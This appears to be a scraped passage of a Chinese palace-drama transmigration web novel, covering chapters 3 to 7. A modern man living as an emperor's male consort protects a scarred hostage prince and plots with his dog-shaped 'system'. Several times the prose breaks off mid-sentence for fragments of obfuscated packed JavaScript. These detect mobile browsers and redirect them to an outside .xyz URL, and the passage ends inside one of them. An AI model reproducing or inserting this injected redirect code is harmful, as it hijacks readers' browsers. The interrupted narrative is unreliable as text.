曲月翎踉跄几步,摇摇晃晃地就要倒下,宫人们见状齐齐惊呼着“翎公子”冲上前,接住了曲月翎。 待曲月翎扶着近侍太监的胳膊重新站定后,容冽已经跑走了。 不过没有跑远,他躲到了一棵柳树的背后,站在晦暗的树影里,又用那只深黑的眼幽幽凝望着曲月翎,似乎是在看他究竟有没有摔倒。 “真是好心没好报。”扶住曲月翎的近侍太监谭乐忍不住说,“翎公子,您别管他了。” 宫人们你一言我一语,说容冽性情冷漠孤僻,难以相处,脸上还有一道可怖吓人的长疤,和宫中所有皇子公主们都关系不睦,让曲月翎少和他来往。 曲月翎听到这儿,怔了怔:“……长疤?” “是。”谭乐道,“那道疤在他右脸,刚刚被头发遮去了,您才没瞧见吧。” 曲月翎闻言不由抬眸,再度望向柳树后的容冽。 此时一阵清风袭来,正巧拂开少年脸畔碎发,让曲月翎得以窥见了那道上及前额,下至颧骨,位居眼眶中央,犹如扩大的竖瞳一般,阴邪骇异的暗色长疤。 宫人们瞄见,纷纷悚然吸气。 曲月翎却微微蹙眉,心中迷惑:这疤哪里吓人了? 4. 第 4 章 他上辈子做完心脏移植手术后,胸口处留下的伤疤比容冽脸上的疤恐怖多了。 只是古代常有“身体发肤,受之父母,不敢毁伤”的观念,也觉得脸上有疤会影响自己的面相命格,严重的甚至会刑克亲人,而这有疤之人若生在皇室,那基本等同于失去皇位继承权了,难怪容冽会被送来异国当质子。 “翎公子。”谭乐搀扶着曲月翎的手臂说,“外面日头毒辣,奴扶您回轿子上歇着吧。” 曲月翎应了一声“好”,转身回轿前,他又回了一次头。 但树下少年已没了踪影。 “我刚刚见他手上有伤。”曲月翎驻足顿步,侧首对谭乐道,“你去我库房里拿两盒愈伤药膏,送去给他吧。” 虽然一开始,他是由于将容冽错认成男主才出手相助,可即便曲月翎早就知道容冽不是男主,碰上刚刚那种情况,他还是会选择出手帮忙。 一是不忍心对霸凌行为视而不见,二是做这件事对自己也有好处——他要在皇帝和男主梁初景那捏的是慈父人设,如果他看到容冽受欺也无动于衷,那这个人设还有什么说服力? 两盒愈伤药膏要不了几个钱,而且从系统那里,曲月翎知晓了原主“受宠”的真正秘密,只要他不干刺杀皇帝或是预谋造反的杀头大罪,皇帝是绝对不会厌弃冷落他的,二皇子也并非皇帝最喜欢的儿子,曲月翎不怕得罪他。 但宫人们不知道曲月翎心中的弯弯绕绕。 谭乐只懂为他抱不平:“可是翎公子,他都没记着您的好心好意,方才还推了您,差点害您险些摔倒……” 曲月翎却不觉得这有什么的。 他猜测容冽那时下意识推开自己,应该是因为少年不想被他拨开头发,露出墨发下的疤痕。 这种心情不难理解。 毕竟从宫人们的话中就能明白,容冽平日里因这道长疤肯定没少遭人冷眼,今天又受了二皇子欺负,心情一定绷得很紧,会出现这种应激反应太正常不过了。 曲月翎说到底也不是刚满十八岁的青年,他年轻时的刺头棱角早被几年的社畜牛马光阴给磨圆了。 所以他朝谭乐摆摆手:“容殿下还是个孩子,和他计较这些做什么?” “再者……” 曲月翎话音微停,弯唇笑道:“那孩子劲劲的,像我……” ——弟弟。 最后这两个字曲月翎没完整说出,因为原身是小宛最小的皇子,他没有弟弟。 于是他的话在宫人们听来,就是越妃在夸容殿下像自己——别说,那股子倔劲确实有点儿像。 容冽一个被母国放弃,再无登基可能的疤脸质子,早该收起那副天潢贵胄的傲骨了,但他始终不愿低头折节,不知哪来的胆量和底气,纵使常被欺侮,也绝不肯在二皇子面前收敛半寸锋芒。 而曲月翎呢? 他假扮成女子,顶替亲姐曲月珠嫁入卫祁皇室,被揭穿后当谦逊低调些,可他偏偏在宫中张扬至极,脾性娇纵,乖戾不驯,简直人见人厌,浑然不考虑万一日后自己失势了,又该怎么在宫内求生。 真不明白陛下究竟为何如此纵容着他……哦,不,越妃今日没有胡乱傅粉施朱糟蹋自己的脸蛋了。 倘若陛下曾经见过越妃不施粉黛的模样,那越妃深得帝心的原因就不难猜了。 想到这里,抬轿的宫人忍不住悄悄抬眼,想透过轿帘,窥望一眼青年的模样。谁知就是这一瞥,宫人们发现青年软倒在轿里,不知晕倒多久了。 连曲月翎都不知道自己是何时晕过去的。 宫人们手忙脚乱把他抬回栖月宫,又匆匆去请太医,忙得连狗都来不及找了。 等到曲月翎恢复了意识醒来,天都已经黑了,屋内飘着一阵浓郁清苦的药味。 “……爱妃?” 一道温柔儒雅的男音将曲月翎的视线从头顶碧绿色的帷幔上拉回。 听到这个叫人惊悚的称呼,曲月翎也蓦地扭头望向身侧,一个身穿金白帝袍,面容俊美,周身隐有威仪之气的男人坐在床侧,视线紧紧凝着他的脸庞,目光恍惚中又透出些怀念和痴迷的情绪。 “爱妃,你醒了?”见曲月翎没有反应,他又问了一遍,胳膊也抬了起来,像是想握住曲月翎的手,“身子可还有哪里不适?” 曲月翎轻轻张唇:“……陛下?” 曲月翎的嗓音秀润,声线柔和,出口的词句都像情人絮絮低语时的呢喃,娓娓动听,但始终与女子不同。 所以皇帝梁怀徽听清他的声音后,眼中的恍惚立刻就消失了,刚举起了胳膊也重新放了下去,只隔着被子轻轻拍了拍曲月翎:“是朕,朕今日听宫人们说你晕倒了,就立刻过来看你了。不过月翎……” “你入宫小半月了,朕还是第一次看清你的脸,你长得……” 话至中途,梁怀徽的视线又飘回曲月翎脸上,重新变得恍惚:“真像你姐姐啊。” ——这便是原身圣恩不断的倚仗。 梁怀徽登基之前,曾在小宛有过一段质子经历,他在小宛与假扮成平民女子的曲月翎的亲姐姐曲月珠相识相恋,并许诺日后若能回卫祁,必娶曲月珠为妻;若不能回卫祁,那就在草原上与曲月珠携手一生。 可那时的梁怀徽早已有了皇子妃和侧妃,甚至都儿女双全了,因此梁怀徽回卫祁后,并未践诺。 直至小宛新帝登基,为稳固皇位与卫祁要联姻时,梁怀徽才知晓曲月珠原来是小宛的公主。 他欣喜万分,以为这是上天赐予他和曲月珠破镜重圆的良机,便同意联姻,给了曲月珠妃位之尊,还以民间的娶妻之礼,让曲月珠凤冠霞帔进宫。 不料“新婚夜”红盖头一掀,新娘成了新郎——来联姻的“公主”竟是曲月珠的亲弟弟曲月翎! 梁怀徽本欲发怒,但曲月翎拿出了曲月珠的亲笔血书。 曲月珠在血书中写道:自己对梁怀徽相思成疾,病入膏肓已无药可医,可她依然深爱着徽郎,生死不改,临终之际,她唯一放心不下的人就是胞弟曲月翎。 曲月翎自幼患有心疾,体弱多病,而小宛皇室斗争严重,她担心弟弟留在小宛会被他们狠毒的皇兄弄死,正好弟弟一直以来也默默深爱着徽郎,所以她想让弟弟代替自己入宫,让弟弟接替自己继续爱着徽郎,也恳请徽郎善待她唯一的弟弟,无论弟弟做了什么坏事,都请徽郎念在她的份上,留弟弟一命。 梁怀徽原本就对曲月珠深怀愧疚,再一看这字字泣血的临终血书,哪还发得出火呢?只能依照曲月珠的遗书,对曲月翎百般纵容。 然而他能给曲月翎无上的荣宠,却给不了曲月翎肌肤相贴的临幸,毕竟……曲月翎再美,也始终是个男人,更别说曲月翎之前爱用脂粉糟蹋自己的好脸,根本看不出美或不美。 梁怀徽实在是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634808|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接受不了男人,曲月翎默不作声时,他还能看着曲月翎的脸骗骗自己,曲月翎一说话…… “月珠她是个好姑娘……是朕负了她。但月翎,你放心,朕绝不、绝不……”梁怀徽咬咬牙,深吸一口气狠心道,“绝不再负你!” 曲月翎:“……” 曲月翎望着皇帝梁怀徽嘴角扯出的僵硬笑容,真想嘴贱毒舌来一句“要不您还是负了我吧,看您经验丰富,也不差再渣这一回”,但也只能是想想了,他还得靠皇帝给自己撑腰在宫中生活呢。 再说了,皇帝对他没兴趣也好,有兴趣他才得苦恼呢,他还搞不懂曲月珠为什么会爱上这样一个渣男,甚至为了渣男相思泣血而亡。 而这个渣男此刻还自诩深情温柔地“安慰”着曲月翎:“朕知道你今日受了委屈,丽妃她性子直,脾气虽不太好,可心地不坏,孤已将她禁足,你也别怪她了。哦,还有容冽,他冲撞了你,害你摔倒,朕也罚过他了……” “……啊?”曲月翎听完就愣住了,连忙解释,“陛下,丽妃姐姐她今日只是来我宫里坐了会儿,和我说了说话,我们……” ……最多还摸了下手。 搞不清楚谁绿谁,不过现在他们俩都坐在绿顶之下,很是应景。 但曲月翎也一咬牙,嘴硬道:“我们别的什么也没做,陛下为何要禁足姐姐?还有容殿下,我今日并未摔倒,何来他害我一说?我晕倒是受了暑气,和旁人无关。” 梁怀徽却摇头叹道:“朕的月翎真是心善,可朕答应了你姐姐,立誓一定会善待你。太医说你这身体得静养,受不得气,往后你再受什么委屈,只管来告诉朕,朕绝不姑息!所以你也不必再为他们说好话了,安心养病便是,朕……” 说到末尾,皇帝梁怀徽下意识又想去牵曲月翎的手,大概他安慰别的妃子时也常这么做,都成习惯了。 可曲月翎是男子,所以快碰上时,他又硬生生止住了动作,改为隔着被子拍拍曲月翎,再像是下定了什么重要决心,又咬咬牙说:“朕今晚陪你!” “咳……咳咳!” 曲月翎被他的话吓得呛到,霎时捂着心口咳了起来,双颊因窒闷泛起一层病态的潮红。 “月翎,你怎么了?又不舒服了吗?” 见状,梁怀徽也被曲月翎吓到了,皱着眉就要喊太医。 曲月翎赶紧摆手,佯装虚弱轻声道:“是有些不太舒服……陛下,我把病气过给了您,您今晚还是去别的姐姐那吧。” 梁怀徽瞬间也抚着心口松了口气:“唉……朕的月翎还是如此体贴。也罢,你对朕一往情深,孤今晚留在这,怕是会让你魂牵梦萦,扰得你睡不好觉。” 曲月翎:“……?” 这皇帝什么毛病? 喜欢演戏,装深情装上瘾了是吗? 曲月翎听着梁怀徽的话,觉得他才要去找太医看看脑子。 不过梁怀徽是真认为自己情深似海,怕曲月翎吃醋,他还体贴道:“朕今晚也不去别人那儿了,就回紫宸殿批折子。月翎,你好好休息,朕明日再来看你。” 说完,梁怀徽擦着额角的细汗走了。 他离开后,曲月翎也擦了擦额角无语的虚汗,准备把系统叫出来打听一下自己白天晕倒后都发生了什么。 等等…… 曲月翎记起来了,自己的狗系统好像还在冷宫里等着他去接呢! 5. 第 5 章 “完了!” 曲月翎立马坐直身体,惊呼道:“我的狗!” “在这呢。” 熟悉的狗叫声幽幽从床底传来。 曲月翎扒着床沿弯腰,对上系统的一双黑豆眼:“系统?” 系统幽怨地盯着他:“你试过在冷宫从白天等到天黑的滋味吗?” “哈哈,肯定没有啊。”曲月翎说完扎心的话,又问系统,“你自己跑回来的?” “是,还没被任何宫人发现,方便你明天去‘找’我。”系统说,“另外我还给你带回来一个好消息,我听三皇子的宫人们说,三皇子最近不知道怎么回事,好像是病了,每晚都会被噩梦惊醒,憔悴得厉害,太医开的安神汤吃了也不见好。” “不错不错,你还是很有用的嘛。”曲月翎听懂了系统的意思,夸赞它道,“明天一早我就拿找你当借口,去冷宫‘偶遇’生病的三皇子,再趁皇帝明天来看我时提一嘴冷宫阴气重,我心疼三皇子在那老是生病……” 系统接过曲月翎的话:“然后你就可以准备喜提好大儿了。” “对对对,系统,你立了大功,我却没出什么力。”曲月翎认真反省自己今天犯下的错误,“好狗宝,明天我自罚三杯中药,给你赔个不是啊,哈哈!” 系统:“……” 系统和他商量:“赔不是就不用了,宿主,你能给我换个名吗?别叫我‘双马尾’了。” “为什么?”曲月翎趴在床榻上,用指尖拨拨系统两个黑发揪似的长耳朵问,“狗宝,这个名字很衬你啊。” 系统嚷嚷:“可我是公的啊。” 但曲月翎说:“你一个实体系统,哪分什么公的母的?狗才分公母,你是狗吗?你不是,所以你就叫这个名了。” 系统:“…………” 系统还想再试图挣扎一下,曲月翎却眼疾手快捏住他的狗嘴:“狗宝,夜色已深,我们该睡觉了嗷,你不能再狗叫扰民了。” 细狗腿拧不过细人胳膊,系统只能绝望地闭上眼睛,接受这个一点都不衬它的名字。 然而闭眼没几秒,嘴上说着不能再狗叫扰民的曲月翎又讲起了话,“老登皇帝应该早就想找理由罚一罚丽妃,将她禁足换个清静了吧?那个质子却是真的倒霉,无端被我牵连受罚,还好他不是男主,不然怕是会被记仇,别好感度都没刷上去呢,恨意值就先点亮了。” “是的,在你取代丽妃成为后宫万人嫌以前,她是宫里最能闹腾的,又很爱吃醋,皇帝前夜去了哪个嫔妃宫里,她第二天就要找过去,所以皇帝早就想禁足她了。”系统用睡意朦胧的声音回答曲月翎,“至于容冽……他一个无权无势的质子,就算记恨上你,又能拿你怎么办?而且你今天不也从二皇子那救了他一回吗?算两清了,别想太多,睡吧。” “也是。” 曲月翎不想了,拉上被子睡觉。 第二天他和系统起了个大早,一人一狗兵分两路,系统趁宫人们不注意偷溜出栖月宫,往冷宫的方向跑去,曲月翎则等待片刻,然后对宫人说爱犬一夜未归,他要去找狗。 出门时,却在殿门口碰见了质子容冽。 少年一袭黑衣,像一抹暗影幽幽杵在墙边,冷漠疏离,仿佛稍一靠近,就能闻到那种雨后青苔的湿凉气息。 瞧见曲月翎现身,他沉默着走近,向曲月翎垂首行礼。 问了宫人才知道皇帝对他的惩罚是停三个月月俸,并让他每天来给曲月翎请安问好。 曲月翎听完就在心里骂:“老登真是闲的没事干。” 梁怀徽曾经也是质子,他应当知道质子在异国生活的不易,可他一当皇帝就忘本,自己淋过雨就要把其他人的伞都撕个稀巴烂。 不过转念一想,曲月翎便明白自己大概跟丽妃一样,都被狗皇帝给整了——梁怀徽这是怕自己像原主那样整天去缠他,给他找点事做呢。 这招拿来对付他还正好,毕竟他是个男的,容冽就算与他日日接触也不会有什么闲话传出。 而他若真是原主那种性格,天天看着容冽这么一个寡言孤僻的阴郁少年在自己面前晃悠,日子久了肯定会烦,如果哪天气急发了场火,狗皇帝就有理由禁他的足,再宽宥对容冽的惩罚了。 说到底不就苦一苦容冽,骂名他曲月翎来背,美名和清静梁怀徽全拿走呗。 好你个狗皇帝。 曲月翎才不上梁怀徽的当。 “三殿下。”他在容冽面前停下,弯唇问,“ 今日手伤可好些了?” “谢越妃娘娘赐的药膏,已经好了。” 容冽仍旧垂着头回话,似乎不想抬起脸让人直视自己眼睛上的那道长疤。 曲月翎昨天遇见他时他没开口说过一句话,今日一出声,曲月翎才发现他的嗓音低沉硬涩,透着变声期特有的沙哑,就如他的名字一般——冷峭寒冽。 哪怕此刻在说认错的服软之语,也会给人一种倔强不屈的偏执感。 他从袖带里掏出一个瓷白的小药瓶:“这是臣家乡的药油,专治磕碰淤伤,臣昨日不该……” “我昨天没有受伤。”曲月翎摆手轻声打断他,“陛下宠爱我,却不想因此害你受了无妄之灾,实在是对不住。” 说着,曲月翎接过那个药油瓶子,打开倒出一点抹在指尖,再伸手摸向容冽的脸庞。 少年见状,果然本能地往后躲避。 可他背后就是宫墙,避无可避。 容冽只能抬眸望向眼前的青年。 而青年将药油缓缓揉开在他颧骨的淤青处——那是昨天被二皇子踩出的伤。 一股热意随着揉弄慢慢逸散,说不清是青年指腹的温度,还是药油本身的灼烫。 “往后容殿下就唤我‘翎公子’或是‘阿翎哥哥’吧。”曲月翎给他脸上的淤青擦完药油,就把小药瓶收起来了,表示自己接受了容冽的歉礼,再笑着说,“晨露湿重,容殿下快回去吧。” 容冽垂着眼睫没有应声。 曲月翎也不在意,只以为容冽单纯是性格内向不爱说话而已,毕竟一个被长期霸凌的小孩子,性格能开朗就见鬼了,和他计较什么呢? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634809|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但当曲月翎坐上轿辇后,他忽然听见了一声很轻的“阿翎哥哥”。 曲月翎拨开轿帘回首望去,果真看到容冽重新抬起了脸庞,一双黑眸静静凝视着自己,眼底看不出情绪。 “哥哥是在找双马尾吗?”少年抬起手臂,指向西北角落,“我看到它往那边去了。” 嗯? 系统不是说它跑得快吗? 怎么还被人发现踪影了呢? 好在问题不大,只要系统没被人逮住就不会影响他们的计划,甚至容冽给出的方位信息还省了他不少功夫。 于是曲月翎向容冽道了声谢,让宫人们往西北方向走了。 “翎公子。” 宫人们在曲月翎的要求下,如今都这么喊他,不会叫什么令曲月翎头皮发麻的“越妃娘娘”,说:“再往前去就是冷宫了。” 曲月翎当即道:“双马尾是我的挚爱,别说是区区冷宫,就算是刀山火海,我也会为它去。” 他都把话说到这份上了,宫人们自然不敢拦曲月翎。 一行人来到冷门门口,刚落轿,就听到一道温婉如水的女声在院门后响起:“这只小狗怎么又来了?咱们这可没有多余的吃食给它呀。” 曲月翎走进去时,恰巧碰到那女子笑着将系统抱起,搂在怀里温柔地抚着脊背。 系统在她怀里吐着舌头,尾巴摇的飞起,把一只舔狗的形象演绎得淋漓尽致,它甚至都没注意到曲月翎来了,一心窝在女子怀中哼唧撒娇。 倒是那女子在曲月翎出现的刹那就抬起了眼眸,双唇微张,怔怔望向来人,被曲月翎的容貌惊得一时失语。 另一个年纪瞧着和容冽差不多,约莫十二三岁,一脸病气的少年此刻也正好从屋内走出:“窈娘……是谁来了?” 被少年唤作“窈娘”的女子很是机敏,她观察着曲月翎身上华贵的翠玉金饰,以及身后乌泱泱的宫人,马上就猜出了他是小狗的主人,便赶紧行了个礼将小狗交给距离她最近的宫人,再跑回少年身旁扶住他,轻声回道:“三殿下,是越妃。” “……越妃?” 三皇子仿佛刚从睡梦中醒来,还没彻底清醒,他呢喃着这两个字,将原先凝着窈娘的视线调转落到曲月翎身上,继而脸色骤然苍白,目光中也泄出难以遮掩的厌恶和恨意。 “滚。” 三皇子先低声骂了一句,随后又提高音量,大声喊道,“你来这里做什么?滚啊!” “……三殿下?” 他的状态把窈娘都吓了一跳,大概他以前从没有过这样情绪失控的情况。 曲月翎也不明白三皇子对自己为什么会有这样浓烈的不满与抗拒,他试图解释:“三殿下,我是来找狗的……” 三皇子睨了一眼宫人们怀里的小黑狗,阴沉着脸,继续赶人:“那现在找到了,就带着你的狗滚!” 曲月翎抱着狗系统满头雾水,被赶出了冷宫。 “在我穿过来之前,原主是不是和三皇子见过,得罪过他啊?”他问系统,“不然三皇子对我意见为什么这么大?” 6. 第 6 章 “没有啊。”系统也很纳闷,“你们俩今天是第一次见面。” 就算曾经见过,三皇子所见的,也应该是曲月翎的另一张“脸”才对,毕竟连系统都不得不承认,那张脸抹上粉时是真白得像鬼,但怎么三皇子如今见了曲月翎正常的脸,却反而更像是见了鬼呢? 不过牛马社畜的工作出现问题了,终究要有一个人背黑锅,不是自己就是同事。 因此原本应该孝顺的好大儿没有了,变成了叛逆的不孝子,坏男人曲月翎马上指责狗系统:“臭狗,都怪你,你身为穿书系统,凭什么不知道剧情啊?你如果知道剧情,那我们能搞不清楚我的好大儿为什么会是这幅嘴脸吗?” 系统:“?” 昨晚还是狗宝,现在就是臭狗了? 为了证明自己不比那群虚拟系统差,系统说:“你且等我在宫里游荡几日,听听八卦。” ——实体系统就这点好,可以在宫里四处晃悠偷听宫人们讲话,还不会令人起疑,尤其它的身份还是“宠妃”的爱犬,除了不长眼的人,没人敢欺负它。 就算想欺负,系统还能跑,它跑得又快,几乎没人追得上。 曲月翎道:“行行行,我今晚也给老登吹吹枕头风,努努力,先把生米筑煮成熟饭再说。” “啊?”系统大惊,“你要侍寝?” “怎么可能?”曲月翎斜乜它一眼,“我的意思是,先让老登把三皇子过继给我做儿子,然后再和他好好培养父子情谊,确保他登基后一定会尊我为太后——是这个生米煮成熟饭。” “但是你放心,贞操诚可贵,爱情价更高,若为剧情顾,二者皆可抛。” “谁都不能阻挡我当上男太后!” 曲月翎坐在轿辇上肃声宣布:“我们在这周结束时,必须取得穿书剧情进展,否则我们俩就都得接受任务业绩不达标的惩罚,喝三杯苦瓜汁。” 系统更惊了:“不是?宿主,这个惩罚是谁规定的?” 曲月翎说:“你。” “我没有。”系统否认,“别胡说!” 曲月翎坚持:“你心里肯定是这么想的,哪有穿书系统会不想惩罚不好好做任务的宿主呢?” 系统:“理是这个理,但为什么我也要喝啊?” “穿书者摸鱼,与系统同罪。”曲月翎在系统又要辩解前熟练地捏住它想辩驳的狗嘴,手动闭麦,再用另一手撩起轿帘,询问宫人,“前面怎么回事?是谁在吵?” 宫人语气犹豫道:“翎公子,似乎又是二殿下和容殿下……” 曲月翎居住的栖月宫位置非常偏,与质子居住的藩客馆几乎就隔了一道宫门,而为了弘扬卫祁国力,让质子感受卫祁的威仪,容冽被皇帝特许,能进入宫和诸位皇子们一起上礼仪和骑射课,所以他下课离宫时,有概率会与曲月翎碰上,却很难与皇子们相遇。 那么现在容冽和二皇子又吵起来了,肯定是二皇子故意在容冽出宫路上堵他,找他麻烦的。 曲月翎听完不由心道:发疯骂人宣泄压力的好机会又来了! 治不了男主,还治不了一个区区炮灰吗? 他早上三皇子那儿碰了一鼻子灰,下午在御花园散心好久也没把心情调整好,穿书工作压力很大,就差喝中药调理了,此时正需要一个发泄对象呢。 “好啊!这小子又撞我手里了。”曲月翎顿时坐直身体和系统说,“我昨天已经放他一马了,他今天却还敢继续霸凌别人,这已经不是一般的坏了,必须要出重拳!” 而曲月翎率领宫人们杀到时,正巧瞧见二皇子举起了拳头,似乎要往容冽脸上打去。 系统见状惊呼:“他也要出重拳了!” 曲月翎立刻扬声制止:“住手——” 他来的突然,这一声也喊的突兀,二皇子被他的声音惊扰,挥拳的动作滞了一瞬,容冽却没受分毫影响,稳稳站在原地,用一记标准的拦门踢踹向二皇子膝盖。 不过或许是容冽武艺不高,这一踢只让二皇子摔到了,并未直接踢断他小腿。 但饶是如此,曲月翎和系统都看得纷纷吸了口凉气。 “啊这……”系统尴尬道,“原来是互殴啊。” “住手!”管他是互殴还是什么,曲月翎都先抱着狗拦到了两人中间,“你们不要再打了!” 二皇子却不听,他捂着膝盖倒在地上,对周围的随从大喝:“你们还愣着干什么?还不快把容冽给我摁住!” 可随从们碍于曲月翎在场,都踌躇着不敢上前。 倒是曲月翎反客为主,对他们招招手,下令道:“你们还愣着干什么?还不快把二殿下给扶起来。” 随从们这次听令把二皇子扶起来了。 二皇子气得胸膛连连起伏:“越妃,又是你……” “二殿下,又是你。” 结果曲月翎也说了和他同样的话,还抢先一步发难道:“昨日你还没告诉我,双马尾年幼不懂事,你为何无缘无故对它下重手,怎么今日又叫我碰见你无缘无故对容三殿下重手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“对了,刚刚没听清。”曲月翎捏捏耳垂放下手臂,仿佛说话说累了般,神情柔柔弱弱的,轻声询问二皇子,“二殿下,你说容三殿下往你桌上扔了什么?” 二皇子咬牙切齿,借随从的搀扶稳住身体道:“死耗子。” 曲月翎捂嘴惊叹:“那很坏了。” 二皇子看曲月翎终于说了句人话,心中怒焰刚熄几分,却听见青年又道:“可容三殿下还是个孩子啊……” “他是孩子?”二皇子面无表情,指着再蹿高一个脑袋就能和曲月翎一样高的容冽问。 “是。”曲月翎点头,“挺像我儿子的。” “……” 二皇子不说话了。 容冽嘴角勾起的弧度也抿平了。 7. 第 7 章 其实二皇子是想继续发火的。 只是他在瞧见容冽笑不出来以后,他就想笑了,因为他发现曲月翎好像把容冽也骂了——敢情曲月翎这张嘴不是仅仅针对他,而是针对所有人啊? 但这件事绝不能笑笑就算了! 于是他和曲月翎争辩道:“简直鬼扯,他算哪门子的孩子?你有这么大的儿子吗?” 而二皇子这一问,让曲月翎想起了男主三皇子梁初景。 梁初景的年纪和容冽差不多大,身高也差不多,就是感觉身形比容冽瘦,果然是在冷宫吃的不好吧? 连容冽这个受人疏远的质子都能长得比他壮实,搞得自己昨天想拉容冽起来,结果却差点跌人身上,把人压坏。 曲月翎不禁长叹一声,失落道:“我挺想有的,可惜儿子不肯认我。” “不过——” “我正好有个比容三殿下还大的儿子。”曲月翎话锋一转,睨着二皇子说,“你不就是吗?” 二皇子:“?” 按照礼法来说,曲月翎既是皇帝的妃子,那他就是二皇子的庶母,曲月翎倒也没错,可二皇子哪受得了这气? 尤其在看到容冽又浅浅勾了下嘴角,好像在嘲讽他时,二皇子更是被气到口不择言了。 他质问曲月翎:“那我是你儿子!容冽又不是!你凭什么站他那边啊?! ” 甚至系统听着都忍不住狗叫了两声:“他说的也不无道理。” 当着这么多人的面,曲月翎不好出声骂系统,只瞪了系统一眼,用眼神很双标地骂他:你究竟是谁的系统,站哪边的? 系统接收到曲月翎的目光,虽然没有脑内沟通功能不知道青年在说什么,但它莫名读懂了曲月翎的意思,缩着狗耳朵不敢再狗叫了。 而训狗大师曲月翎刚制服了狗系统,又接着训二皇子:“因为容三殿下比你年幼啊,他还那么小,不懂事,就算是往你桌上扔了只死耗子,那也肯定不是故意的,是不小心的。” “锋儿啊,爹的好儿子。”曲月翎唤了声二皇子的名,劝他道,“你今天就给爹爹一个面子,原谅容三殿下的不懂事吧。” “放狗屁!”二皇子骂得越来越脏了,“曲月翎,你睁大狗眼瞧瞧容冽,他到底哪小了?而且他扔的不止一只,他每日都往我桌上扔死耗子!他就是故意的!” 话音刚落,一直如幽影般站在曲月翎身后默不作声的容冽也开口了: “我确实是故意的。” 少年正处于变声期的嗓音嘶哑,语速低而缓,透着种说不上来的阴鸷感。 在曲月翎回首往他时,容冽又朝左侧偏了偏头,动作十分无辜,用那双邃深的黑瞳,凝视着曲月翎雀翎似的碧眸轻声问:“阿翎哥哥,怎么办呢?” ——瞧瞧这依恋的模样!这可怜的样子!这无助的神情! 容冽作为一个不小心推了他,都能一大清早拿着药膏来给他道歉的好孩子,他能有什么错? 曲月翎父爱大发,同时也铁了心要给这个喜欢霸凌别人的二皇子一点教训吃吃,便立刻又护到容冽身前,对二皇子说:“怎么容三殿下不往别人桌上扔死耗子,就往你桌上扔呢?锋儿,你真应该好好反思一下自己,是不是先干了什么欺负人的事。” “曲月翎!你、你……” 二皇子今日身边就跟了几个随从,没人帮他出主意,二皇子大概也是被曲月翎气得狠了,一时除了指着曲月翎目眦欲裂,便做不出其他反应了。 “我怎么了?强者从不抱怨环境,锋儿,这么点小事以后别提了,还有啊——”曲月翎上前一步,打了他指人的手背一巴掌,“别再拿食指指长辈了,不礼貌,不孝顺。” 打完二皇子,曲月翎就赶紧转身拉住容冽的手腕,压低声音提醒他:“走了走了。” 趁二皇子的膝盖刚被容冽踢瘸了不好追人,他们快些开溜吧! 也幸好容冽今天没昨天那么沉,曲月翎一拽他,他就十分温驯地被曲月翎牵走了。 走了几步,容冽忽然加快了脚步,和曲月翎并排而站,在他耳畔轻声说:“哥哥,是二皇子先欺辱我的。” 容冽是异国质子,他不能在崇文馆里和卫祁的皇子们一起上有关治国权谋和军事战术等政课,只能上上公开的礼仪律法课,再在禁苑校场和诸位皇子们练练骑射,但能学的武艺也不多,大部分时候都在充当一个类似于练武用的木人靶桩存在。 所以平日里,他早晨就在国子监里和其他官宦子弟们共同念书,下午时分进宫上礼仪课和骑射课。 而二皇子本人文课烂得一塌糊涂,他的伴读成绩也烂得有过之而无不及,两人时常因完成不了老师布置的作业也受罚,后来二皇子听说了容冽在国子监成绩不错,就想让他代笔给自己写作业。 谁知容冽这小小质子竟然拒绝他,他面子挂不住,本就一直怀恨在心,在唯一引以为傲的骑射课上使了坏,却依然输给容冽后,两人间的矛盾便彻底爆发了。 二皇子常带人在容冽出宫路上围堵殴打他,容冽则往二皇子桌上扔死耗子,又在骑射课上压着二皇子打,一来二去这仇怨就越积越深。 “阿翎哥哥,我只是不想挨打。”脸上的淤青还未消散,说话时黑睫微微垂落,显得他模样更脆弱了,“难道我做错了吗?” 曲月翎听完容冽的解释后,心已经彻彻底底地偏向了他,立刻否认道:“不,你没错,我就知道梁初锋是个坏胚!别说是你,我都想打他呢!” 容冽闻言,朝他勾唇笑了下:“谢谢阿翎哥哥。” “乖。”曲月翎摸摸他的脸,遗憾道,“我怎么就没有你这么乖的儿子呢?” 容冽听完唇边的笑又僵住了。 他继续垂着眼,借说话的时机将嘴角的笑容抿平,轻描淡写地说:“噢,我以为我会更像阿翎哥哥的弟弟呢。” 实际上,曲月翎的确觉得他在某些地方很像自己在现实世界里的弟弟,可在这里,他是没弟弟的,于是曲月翎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 